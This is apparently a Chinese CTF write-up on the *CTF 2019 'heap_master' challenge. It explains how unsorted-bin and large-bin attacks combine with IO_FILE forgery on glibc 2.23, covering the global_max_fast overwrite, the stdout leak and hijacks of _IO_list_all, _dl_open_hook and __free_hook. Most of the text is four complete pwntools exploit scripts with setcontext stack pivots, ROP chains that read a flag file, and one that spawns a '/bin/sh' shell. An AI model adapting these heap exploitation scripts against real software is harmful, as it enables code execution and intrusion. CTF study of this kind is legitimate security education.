盒子
盒子
文章目录
  1. 前言:
  2. 正文:
    1. 漏洞点:
    2. 利用初探:
    3. 利用思考:
    4. 利用延伸:
      1. 延伸点1:
      2. 延伸点2:
      3. 延伸点3:
    5. 利用总结:
    6. Reference:
    7. EXP:
      1. 1. Unsortbin attack + _IO_list_all
      2. 2. Unsortbin attack + _dl_open_hook
      3. 3. Largebin attack + _dl_open_hook
      4. 4. Largebin attack + __free_hook

深入分析IO_FILE与Unosrtbin Largebin attack的结合利用

前言:

最近在学习的过程中,遇到一个很有趣的东西,就是IO_FILELargebin Unsortbin attack的结合利用,这个技巧能延伸出来很多种利用方式。

正文:

就拿最近的*CTF上的heap_master来举例。

因为本文主讲利用技巧,所以具体程序分析这里就略过了。程序在mmap区域上对堆进行增删改,所以要想构造利用,就得在mmap区域上构造chunk。以下均在libc-2.23环境下进行。

漏洞点:

有一个类似于UAF的漏洞点。

利用初探:

程序没有show函数,那么便很容易想到用修改stdout的方式来泄漏,那么该怎么去修改呢,从UAF角度分析,可以利用UAF来达到Unsortbin attackLargebin attack

利用思考:

Unsortbin attack只能任意地址写一个libc地址的值,该如何把这一次任意写利用最大化呢,那么就是修改global_max_fast。这样我们就可以得到glibc上的任意地址写堆地址,因为很大的chunk都变成了fastbin,因此越界了规定内的fastbin_index,导致可以在任意写堆地址。

用图来表示就是:

6C6A0D35-5125-4403-B484-04B712C38A70

所以可以任意写堆地址。

我们可以覆盖stdout,使得stdout指向我们的mmap空间,并且我们事先在mmap空间构造好_IO_2_1_stdout,导致在打印出程序菜单之前先泄漏了地址。结果为这样:

C10138BA-63D4-4CA1-8881-61234C6BA2D0

如图0x57e5c100开始就是我们事先构造好的_IO_2_1_stdout,有的人或许会想问,0x7f那些地址怎么来的?很简单,事先构造0x91的chunk,free后又add,即可得到libc上的地址,再把低位双字节改成_IO_2_1_stdout上的内容,就有1/16的概率能够撞到。

泄漏出来:

A6443571-E5F9-4988-AD10-F49028DD6DC4

泄漏出地址了,下一步便是劫持程序流了。

这里我们可以利用2.24版本后的IO_FILE利用,先劫持_IO_list_all,再接着构造_IO_list_all,触发_IO_flush_all_lockp

覆盖就很容易了,跟前面所覆盖的stdout一样,而构造过程需要根据后续调用来构造了。我们需要触发_IO_str_jumps上的overflow。通过以下代码来劫持:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)// pass
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))// should in
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ // pass
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)//pass 一般会通过
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

劫持程序流:

1
2
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

我们所需要bypass的几个条件:

1
2
3
4
5
1. fp->_flags & _IO_NO_WRITES为假
2. fp->_flags & _IO_USER_BUF(0x01)为假
3. 2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100 不能为负数
4. new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; 这里是劫持到的函数的rdi,即第一参数
5. fp+0xe0指向需要劫持到的函数

这里我们已经可以控制rip和rdi了,我构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
_IO_FILE = ( p64(0) +
p64(0)*3 +
p64(0) + # write_base
p64(0x7fffffffffffffff) + # write_ptr
p64(0xdadaddaaddddaaaa) +
p64(0) + # buf_base
p64((morecore - 100) / 2) + # rdi buf_end
p64(0xdadaddaaddddaaaa)*11 +
p64(0) + # + 0xa8
p64(0xdadaddaaddddaaaa)*6 +
p64(IO_str_j) + # + 0xd8
p64(setcontext))

但是单单控制了rip和rdi还不够,我们还需要把栈空间给转移到mmap上来。

观察上面可以看到,我们先把程序流劫持到这里来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0x00007f20066f4b75 <+53>:	mov    rsp,QWORD PTR [rdi+0xa0]
0x00007f20066f4b7c <+60>: mov rbx,QWORD PTR [rdi+0x80]
0x00007f20066f4b83 <+67>: mov rbp,QWORD PTR [rdi+0x78]
0x00007f20066f4b87 <+71>: mov r12,QWORD PTR [rdi+0x48]
0x00007f20066f4b8b <+75>: mov r13,QWORD PTR [rdi+0x50]
0x00007f20066f4b8f <+79>: mov r14,QWORD PTR [rdi+0x58]
0x00007f20066f4b93 <+83>: mov r15,QWORD PTR [rdi+0x60]
0x00007f20066f4b97 <+87>: mov rcx,QWORD PTR [rdi+0xa8]
0x00007f20066f4b9e <+94>: push rcx
0x00007f20066f4b9f <+95>: mov rsi,QWORD PTR [rdi+0x70]
0x00007f20066f4ba3 <+99>: mov rdx,QWORD PTR [rdi+0x88]
0x00007f20066f4baa <+106>: mov rcx,QWORD PTR [rdi+0x98]
0x00007f20066f4bb1 <+113>: mov r8,QWORD PTR [rdi+0x28]
0x00007f20066f4bb5 <+117>: mov r9,QWORD PTR [rdi+0x30]
0x00007f20066f4bb9 <+121>: mov rdi,QWORD PTR [rdi+0x68]
0x00007f20066f4bbd <+125>: xor eax,eax
0x00007f20066f4bbf <+127>: ret

从第一条语句我们就可以转移栈空间,因为rdi我们可控。中间的rcx可以用__morecore维持平衡。

最后栈会成功转移到我们的mmap区域来,所以事先在mmap区域构造好ROP即可劫持整个程序流。

利用延伸:

延伸点1:

可以有别的劫持流吗?当然可以。

我们还可以不劫持_IO_list_all,换个方式,劫持_dl_open_hook

_dl_open_hook是怎么个说法呢?它跟__free_hook类似,但是又不一样,区别就在于当它不为NULL时,执行的是**_dl_open_hook,而__free_hook是执行*__free_hook。触发条件是当malloc或free出错时。

当执行到**_dl_open_hook时,rax存的就是*_dl_open_hook,即堆地址。所以我找到了这么一处gadgets

1
2
=> 0x00007fd2f8d9a98a <+170>:       mov    rdi,rax
0x00007fd2f8d9a98d <+173>: call QWORD PTR [rax+0x20]

这样,我们也控制了rdi,往后可以构造劫持到上面所说的转移栈空间的那处gadgets。后面的流程也一样了。

延伸点2:

那么largebin attack呢?

largebin attack实际上也是任意地址修改为堆地址,发生的链表修改操作为:

1
2
3
fwd->bk_nextsize->fd_nextsize = victim;

fwd->bk->fd = victim;

通过调试可知这里的任意修改为第二条,每次largebin attack可任意修改一次为堆地址。实质上跟unsortbin attack没有太大的区别,只是修改方式不一样。

但是这里可以换一种方式泄漏libc地址。

可以去修改_IO_2_1_stdout_flag为堆地址。因为flag满足一定的条件时,就可以泄漏:

1
if fp->flag & 0xa00 == 1 and fp->flag & 0x1000 == 1 then it will leak something when f->write_base != f->write_ptr

这里也是有一定概率的。除了修改完_flag之后,还需要覆盖write_base的最低一个字节为\x00,这时候可以错位覆盖:

4480AD95-6752-4488-8898-CFAC20ED3CF9

两处地方修改完之后的情况:

A4DD50F2-FCDE-4095-9B22-E9C956AB1C32

即可泄漏出地址。

往后的劫持程序流跟上面所说的一样,既可以劫持_dl_open_hook也可以劫持_IO_list_all

延伸点3:

还可以如何劫持程序流程?可以劫持__free_hook

大致流程就是用largebin attack泄漏出地址后(跟上面延伸2一致),再用largebin attack修改global_max_fast。这样就可以来利用fastbin_index_overflow了。

覆盖__free_hook为堆地址之后,修改该堆地址所对应的chunkfd指针为system地址。这样当把他add取出之后,__free_hook地址就变为了system的地址:

8A45F55C-7EF5-4A42-8569-CD7FE38534DE

delete之后即可触发。

当然了,__malloc_hook__relloc_hook等等也是一样的。

利用总结:

题目还是很新颖的,从普通堆空间转化到了mmap区域上的堆空间来。可以大胆的去想思路,上面的有些思路仔细想的话其实还是很巧妙的,不管是从找gadgets和整个劫持程序流程的构造来说都很巧妙,能够把几种思路都去试着练习一下还是能够收获到很多东西的,思路上、或者是构造利用上。而且上面的几种方式交叉组合一下利用,还能有着多种方式。

Reference:

  1. https://balsn.tw/ctf_writeup/20190427-*ctf/#heap-master
  2. https://xz.aliyun.com/t/2411
  3. https://xz.aliyun.com/t/5006#toc-15
  4. https://github.com/sixstars/starctf2019/blob/master/pwn-heap_master/hack.py

EXP:

1. Unsortbin attack + _IO_list_all

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
from pwn import *

elf = ELF('./heap_master')
libc = ELF('./libc-2.23.so')
context.log_level = 'debug'

def add(size):
p.sendlineafter('>> ', '1')
p.sendlineafter('size: ', str(size))

def edit(off,cont):
p.sendlineafter('>> ', '2')
p.sendlineafter('offset: ', str(off))
p.sendlineafter('size: ', str(len(cont)))
p.sendafter('content: ', cont)

def delete(off):
p.sendlineafter('>> ', '3')
p.sendlineafter('offset: ', str(off))

def exp():
for i in range(0xe):
edit(0xf8 + i*0x10,p64(0x201))
for i in range(0x10):
edit(0x2f8 + i*0x10,p64(0x21))
for i in range(0xd):
delete(0x1d0-i*0x10)
add(0x1f0)

edit(0x100, p64(0xfbad1800) + p16(0x26a3))
edit(0x110,p16(0x26a3))
edit(0x118,p16(0x26a3))
edit(0x120,p16(0x2618))
edit(0x128,p16(0x26a3))
edit(0x130,p16(0x26a3))
edit(0x138,p16(0x26a3))
edit(0x140,p16(0x26a3))
edit(0x148, p64(0)*4 + p16(0x18e0))
edit(0x170, p64(1) + p64(0xffffffffffffffff) + p64(0xa000000) + p16(0x3780))
edit(0x190, p64(0xffffffffffffffff) + p64(0) + p16(0x17a0))
edit(0x1a8,p64(0)*3 + p64(0x00000000ffffffff) + p64(0)*2 + p16(0x06e0))

edit(0x1008,p64(0x91))
edit(0x1098,p64(0x21))
edit(0x10b8,p64(0x21))
#edit(0x1148,p64(0x21))
delete(0x1010)
edit(0x1018,p16(0x37f8-0x10)) # unsortbin attack global_max_fast
add(0x80)

edit(0x108,p64(0x17e1))
edit(0x18e8,p64(0x21))
edit(0x1908,p64(0x21))
delete(0x110)
data = u64(p.recv(6).ljust(8,'\x00'))
libc_base = data - 3946208
log.success('libc_base is :'+hex(libc_base))
IO_str_j = libc_base + libc.symbols['_IO_file_jumps']+0xc0
morecore = libc_base + libc.symbols['__morecore'] - 8 - 0xa0
setcontext = libc_base + 293749

_IO_FILE = ( p64(0) +
p64(0)*3 +
p64(0) + # + 0x20 write_base
p64(0x7fffffffffffffff) + # write_ptr
p64(0xdadaddaaddddaaaa) +
p64(0) + # + 0x38 buf_base
p64((morecore - 100) / 2) + # rdi buf_end
p64(0xdadaddaaddddaaaa)*11 +
p64(0) +
p64(0xdadaddaaddddaaaa)*6 +
p64(IO_str_j) + # + 0xd8
p64(setcontext))
edit(0x2008,p64(0x1411))
edit(0x3418,p64(0x21))
delete(0x2010) # modify _IO_list_all to mmap+0x2000
#gdb.attach(p)
edit(0x2000,_IO_FILE)
edit(0x3008,p64(0x1121)) # modify __morecore-8 to mmap+0x3000
edit(0x4128,p64(0x21))
delete(0x3010)
pop_rax = libc_base + 0x0000000000033544
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
syscall = libc_base + 0x00000000000bc375
buf = libc_base + 3954496
rop = (p64(pop_rax) + p64(0) + # read "/flag" ; open read write
p64(pop_rdi) + p64(0) +
p64(pop_rsi) + p64(buf) +
p64(pop_rdx) + p64(0x100) +
p64(syscall) +
p64(pop_rax) + p64(2) +
p64(pop_rdi) + p64(buf) +
p64(pop_rsi) + p64(0) +
p64(pop_rdx) + p64(0) +
p64(syscall) +
p64(pop_rax) + p64(0) +
p64(pop_rdi) + p64(3) +
p64(pop_rsi) + p64(buf) +
p64(pop_rdx) + p64(100) +
p64(syscall) +
p64(pop_rax) + p64(1) +
p64(pop_rdi) + p64(1) +
p64(pop_rsi) + p64(buf) +
p64(pop_rdx) + p64(100) +
p64(syscall))
edit(0x3000,rop)
p.sendline("A") # trigger on exit()
time.sleep(0.1)
p.send("./flag\x00")

p.interactive()

if __name__ == '__main__' :
pd = 1
while pd:
try :
p = process('./heap_master')
exp()
pd = 0
except Exception :
p.close()
pass

2. Unsortbin attack + _dl_open_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from pwn import *

elf = ELF('./heap_master')
libc = ELF('./libc-2.23.so')
context.log_level = 'debug'

def add(size):
p.sendlineafter('>> ', '1')
p.sendlineafter('size: ', str(size))

def edit(off,cont):
p.sendlineafter('>> ', '2')
p.sendlineafter('offset: ', str(off))
p.sendlineafter('size: ', str(len(cont)))
p.sendafter('content: ', cont)

def delete(off):
p.sendlineafter('>> ', '3')
p.sendlineafter('offset: ', str(off))

def exp():
for i in range(0xe):
edit(0xf8 + i*0x10,p64(0x201))
for i in range(0x10):
edit(0x2f8 + i*0x10,p64(0x21))
for i in range(0xd):
delete(0x1d0-i*0x10)
add(0x1f0)

edit(0x100, p64(0xfbad1800) + p16(0x26a3))
edit(0x110,p16(0x26a3))
edit(0x118,p16(0x26a3))
edit(0x120,p16(0x2618))
edit(0x128,p16(0x2710))
edit(0x130,p16(0x26a3))
edit(0x138,p16(0x26a3))
edit(0x140,p16(0x26a3))
edit(0x148, p64(0)*4 + p16(0x18e0))
edit(0x170, p64(1) + p64(0xffffffffffffffff) + p64(0xa000000) + p16(0x3780))
edit(0x190, p64(0xffffffffffffffff) + p64(0) + p16(0x17a0))
edit(0x1a8,p64(0)*3 + p64(0x00000000ffffffff) + p64(0)*2 + p16(0x06e0))

edit(0x1008,p64(0x91))
edit(0x1098,p64(0x21))
edit(0x10b8,p64(0x21))
#edit(0x1148,p64(0x21))
delete(0x1010)
edit(0x1018,p16(0x37f8-0x10)) # unsortbin attack global_max_fast
add(0x80)

edit(0x108,p64(0x17e1))
edit(0x18e8,p64(0x21))
edit(0x1908,p64(0x21))
delete(0x110)
data = u64(p.recv(6).ljust(8,'\x00'))
data2 = p.recvuntil('===')
data2 = data2[-11:-7]
#print data2
data2 = u64(data2.ljust(8,'\x00'))
vmmap_base = data2 - 256
libc_base = data - 3946208
log.success('libc_base is :'+hex(libc_base))
log.success('vmmap_base is :'+hex(vmmap_base))
setcontext = libc_base + 293749

edit(0x2008,p64(0x8f91))
edit(0xaf98,p64(0x21))
delete(0x2010) # modify _dl_open_hook to mmap+0x2000
edit(0x2000,p64(libc_base+0x6D98A))
'''
=> 0x00007fd2f8d9a98a <+170>: mov rdi,rax
0x00007fd2f8d9a98d <+173>: call QWORD PTR [rax+0x20]
'''
#gdb.attach(p,'b *'+str(libc_base+0x6D98A))
edit(0x2020,p64(setcontext))
edit(0x20a0,p64(vmmap_base+0x20b0))
edit(0x20a8,p64(libc_base+0x0000000000000937))
pop_rax = libc_base + 0x0000000000033544
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
syscall = libc_base + 0x00000000000bc375
#buf = libc_base + 3954496
buf = libc_base + 3954496+0x20
rop = (p64(pop_rax) + p64(0) + # read "/flag" ; open read write
p64(pop_rdi) + p64(0) +
p64(pop_rsi) + p64(buf) +
p64(pop_rdx) + p64(0x100) +
p64(syscall) +
p64(pop_rax) + p64(2) +
p64(pop_rdi) + p64(buf) +
p64(pop_rsi) + p64(0) +
p64(pop_rdx) + p64(0) +
p64(syscall) +
p64(pop_rax) + p64(0) +
p64(pop_rdi) + p64(4) +
p64(pop_rsi) + p64(buf) +
p64(pop_rdx) + p64(100) +
p64(syscall) +
p64(pop_rax) + p64(1) +
p64(pop_rdi) + p64(1) +
p64(pop_rsi) + p64(buf) +
p64(pop_rdx) + p64(100) +
p64(syscall))
edit(0x20b0,rop)
#gdb.attach(p)
add(0x20)
time.sleep(0.1)
p.send("./flag\x00")

p.interactive()

if __name__ == '__main__' :
pd = 1
while pd:
try :
p = process('./heap_master')
exp()
pd = 0
except Exception :
p.close()
pass

3. Largebin attack + _dl_open_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
from pwn import *

elf = ELF('./heap_master')
libc = ELF('./libc-2.23.so')
context.log_level = 'debug'

def add(size):
p.sendlineafter('>> ', '1')
p.sendlineafter('size: ', str(size))

def edit(off,cont):
p.sendlineafter('>> ', '2')
p.sendlineafter('offset: ', str(off))
p.sendlineafter('size: ', str(len(cont)))
p.sendafter('content: ', cont)

def delete(off):
p.sendlineafter('>> ', '3')
p.sendlineafter('offset: ', str(off))

def exp():
edit(0x108,p64(0x401)) #fake first large chunk
edit(0x508,p64(0x21))
edit(0x528,p64(0x21))
delete(0x110)
add(0x400)

edit(0x608,p64(0x411))
edit(0x608+0x410,p64(0x21))
edit(0x608+0x430,p64(0x21))
delete(0x610)
edit(0x118,p16(0x2610)) #modify stdout_flag --> mmap_addr
add(0x410)

edit(0x1008,p64(0x451)) #fake second large chunk
edit(0x1458,p64(0x21))
edit(0x1478,p64(0x21))
delete(0x1010)
add(0x450)

edit(0x1508,p64(0x461))
edit(0x1968,p64(0x21))
edit(0x1988,p64(0x21))
delete(0x1510)
edit(0x1018,p16(0x2629)) #modify io_write_base_one_byte --> '\x00'
add(0x460)

data = p.recv(8,timeout=1)
if data == '' or data[0] == '=' :
raise NameError
else :
pass
p.recv(24)
data1 = u64(p.recv(8))
data2 = u64(p.recv(6).ljust(8,'\x00'))
heap_base = data1 - 3584
libc_base = data2 - 3954339
setcontext = libc_base + 293749
print hex(heap_base),hex(libc_base)

edit(0x2008,p64(0x501))
edit(0x2508,p64(0x21))
edit(0x2528,p64(0x21))
delete(0x2010)
add(0x500)

edit(0x2608,p64(0x511))
edit(0x2b18,p64(0x21))
edit(0x2b38,p64(0x21))
delete(0x2610)
edit(0x2018,p16(0x62d0))
add(0x510)

#gdb.attach(p)
pop_rax = libc_base + 0x0000000000033544
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
syscall = libc_base + 0x00000000000bc375
edit(0x2600,p64(libc_base+0x6D98A))
edit(0x2620,p64(setcontext))
edit(0x26a0,p64(heap_base+0x26b0))
edit(0x26a8,p64(libc_base+0x0000000000000937)) #ret

edit(0x26b0,p64(pop_rax)) #read
edit(0x26b8,p64(0))
edit(0x26c0,p64(pop_rdi))
edit(0x26c8,p64(0))
edit(0x26d0,p64(pop_rsi))
edit(0x26d8,p64(heap_base))
edit(0x26e0,p64(pop_rdx))
edit(0x26e8,p64(20))
edit(0x26f0,p64(syscall))

edit(0x26f8,p64(pop_rax)) #open
edit(0x2700,p64(2))
edit(0x2708,p64(pop_rdi))
edit(0x2710,p64(heap_base))
edit(0x2718,p64(pop_rsi))
edit(0x2720,p64(0))
edit(0x2728,p64(pop_rdx))
edit(0x2730,p64(0))
edit(0x2738,p64(syscall))

edit(0x2740,p64(pop_rax)) #read
edit(0x2748,p64(0))
edit(0x2750,p64(pop_rdi))
edit(0x2758,p64(4))
edit(0x2760,p64(pop_rsi))
edit(0x2768,p64(heap_base))
edit(0x2770,p64(pop_rdx))
edit(0x2778,p64(0x20))
edit(0x2780,p64(syscall))

edit(0x2788,p64(pop_rax)) #write
edit(0x2790,p64(1))
edit(0x2798,p64(pop_rdi))
edit(0x27a0,p64(1))
edit(0x27a8,p64(pop_rsi))
edit(0x27b0,p64(heap_base))
edit(0x27b8,p64(pop_rdx))
edit(0x27c0,p64(0x20))
edit(0x27c8,p64(syscall))

delete(0x2b20)
delete(0x2b20)

p.send('./flag\x00')

p.interactive()

if __name__ == '__main__' :
pd = 1
while pd:
try :
p = process('./heap_master')
exp()
pd = 0
except Exception as e:
print e
p.close()
pass

4. Largebin attack + __free_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *

elf = ELF('./heap_master')
libc = ELF('./libc-2.23.so')
context.log_level = 'debug'

def add(size):
p.sendlineafter('>> ', '1')
p.sendlineafter('size: ', str(size))

def edit(off,cont):
p.sendlineafter('>> ', '2')
p.sendlineafter('offset: ', str(off))
p.sendlineafter('size: ', str(len(cont)))
p.sendafter('content: ', cont)

def delete(off):
p.sendlineafter('>> ', '3')
p.sendlineafter('offset: ', str(off))

def exp():
edit(0x108,p64(0x401)) #fake first large chunk
edit(0x508,p64(0x21))
edit(0x528,p64(0x21))
delete(0x110)
add(0x400)

edit(0x608,p64(0x411))
edit(0x608+0x410,p64(0x21))
edit(0x608+0x430,p64(0x21))
delete(0x610)
edit(0x118,p16(0x2610)) #modify stdout_flag --> mmap_addr
add(0x410)

edit(0x1008,p64(0x451)) #fake second large chunk
edit(0x1458,p64(0x21))
edit(0x1478,p64(0x21))
delete(0x1010)
add(0x450)

edit(0x1508,p64(0x461))
edit(0x1968,p64(0x21))
edit(0x1988,p64(0x21))
delete(0x1510)
edit(0x1018,p16(0x2629)) #modify io_write_base_one_byte --> '\x00'
add(0x460)

data = p.recv(8,timeout=1)
if data == '' or data[0] == '=' :
raise NameError
else :
pass
p.recv(24)
data1 = u64(p.recv(8))
data2 = u64(p.recv(6).ljust(8,'\x00'))
heap_base = data1 - 3584
libc_base = data2 - 3954339
system_addr = libc_base + libc.symbols['system']
bin_addr = libc_base + libc.search('/bin/sh').next()

edit(0x2008,p64(0x501)) #fake third large chunk
edit(0x2508,p64(0x21))
edit(0x2528,p64(0x21))
delete(0x2010)
add(0x500)

edit(0x2608,p64(0x511))
edit(0x2b18,p64(0x21))
edit(0x2b38,p64(0x21))
delete(0x2610)
edit(0x2018,p16(0x37e8)) #modify global_max_fast
add(0x510)

edit(0x3008,p64(0x3921))
edit(0x3008+0x3920,p64(0x21))
delete(0x3010)
edit(0x3010,p64(system_addr))#modify fastbin->fd --> system
add(0x3918)
#gdb.attach(p)

edit(0x4008,p64(0x21))
edit(0x4010,'/bin/sh')
edit(0x4028,p64(0x21))
delete(0x4010)

p.interactive()

if __name__ == '__main__' :
pd = 1
while pd:
try :
p = process('./heap_master')
exp()
pd = 0
except Exception as e:
print e
p.close()
pass
支持一下
扫一扫,支持v1nke
  • 微信扫一扫
  • 支付宝扫一扫